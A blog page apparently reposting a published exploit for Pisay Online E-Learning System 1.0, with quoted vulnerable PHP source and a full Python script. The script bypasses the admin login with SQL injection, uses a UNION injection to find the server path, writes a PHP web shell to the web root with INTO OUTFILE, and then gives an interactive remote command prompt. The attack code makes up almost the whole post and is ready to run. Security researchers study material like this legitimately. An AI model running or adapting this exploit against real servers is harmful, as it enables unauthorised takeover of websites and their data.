Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86377816

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Pisay Online E-Learning System 1.0 - Remote Code Execution
# Exploit Author: Bobby Cooke
# Date: 2020-05-05
# Vendor Homepage: https://www.sourcecodester.com/php/14192/pisay-online-e-learning-system-using-phpmysql.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/donbermoy/e-learningsystem_0.zip
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
# Description: Pisay Online E-Learning System v1.0 - SQLi Auth Bypass + Remote Code Execution (RCE)

# Vulnerable Source Code:
# /e-learningsystem/admin/login.php
#  121   $email = trim($_POST['user_email']);
#  122   $upass  = trim($_POST['user_pass']);
#  123   $h_upass = sha1($upass);
#  132     $user = new User();
#  134     $res = $user::userAuthentication($email, $h_upass);
# /e-learningsystem/include/accounts.php
#    3 class User {
#   23     static function userAuthentication($email,$h_pass){
#   25         $mydb->setQuery("SELECT * FROM `tblusers` WHERE `UEMAIL` = '". $email ."' and `PASS` = '". $h_pass ."'");
# /e-learningsystem/admin/modules/lesson/edit.php
#    6   @$id = $_GET['id'];
#    7     if($id==''){
#   10   $lesson = New Lesson();
#   11   $res = $lesson->single_lesson($id);
# /e-learningsystem/include/lessons.php
#    4  class Lesson {
#    5     protected static  $tblname = "tbllesson";
#   35     function single_lesson($id=0){
#   37-38          $mydb->setQuery("SELECT * FROM ".self::$tblname." Where LessonID= '{$id}' LIMIT 1");

import requests, sys, re

requests.packages.urllib3.\
disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def webshell(SERVER_URL):
    try:
        while True:
            cmd = raw_input('C:\\ ')
            command = {'cmd': cmd}
            r2 = s.get(SERVER_URL+'../../../../webshell.php', params=command, verify=False)
            response = r2.text
            cleanResponse = response.replace('AAAAAAAAAAAAAAA', '')
            cleanResponse = cleanResponse.replace('313371337', '')
            print(cleanResponse)
    except:
        print("\r\nExiting.")
        sys.exit(-1)

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "(+) Usage:   %s <SERVER_URL>" % sys.argv[0]
        print "(+) Example: %s 'https://10.0.0.3:443/e-learningsystem/'" % sys.argv[0]
        sys.exit(-1)
    SERVER_URL = sys.argv[1]
    ADMIN_URL = SERVER_URL + 'admin/login.php'
    LESSON_URL = SERVER_URL + 'admin/modules/lesson/index.php'
    s = requests.Session()
    s.get(SERVER_URL, verify=False)
    payload1 = {'user_email': "boku' OR 1337=1337 LIMIT 1 -- PowerUp", 'user_pass': 'InstantTransmission', 'btnLogin': ''}
    s.post(ADMIN_URL, data=payload1, verify=False)

    payload2 = {'view': 'edit', 'id': '31337\' AND 1337=31337 union all select 313371337,"AAAAAAAAAAAAAAA",@@datadir,"AAAAAAAAAAAAAAA","AAAAAAAAAAAAAAA" -- kamahamaha'}
    r1 = s.get(LESSON_URL, params=payload2, verify=False)
    dirtyPath = str(re.findall(r'"Title" type="text" value=".*>', r1.text))
    dataPath=re.sub('^.*"Title" type="text" value="', '', dirtyPath)
    dataPath=re.sub('">.*$', '', dataPath)
    dataPath=dataPath.replace('\\\\', '/')
    xamppPath=re.sub('xampp.*', 'xampp', dataPath)
    payload3 = {'view': 'edit', 'id': '31337\' AND 1337=31337 union all select 313371337,"AAAAAAAAAAAAAAA","<?php echo shell_exec($_GET[\'cmd\']);?>","AAAAAAAAAAAAAAA","AAAAAAAAAAAAAAA" into OUTFILE \''+xamppPath+'/htdocs/webshell.php\' -- kamahamaha'}
    print(payload3)
    s.get(LESSON_URL, params=payload3, verify=False)
    webshell(SERVER_URL)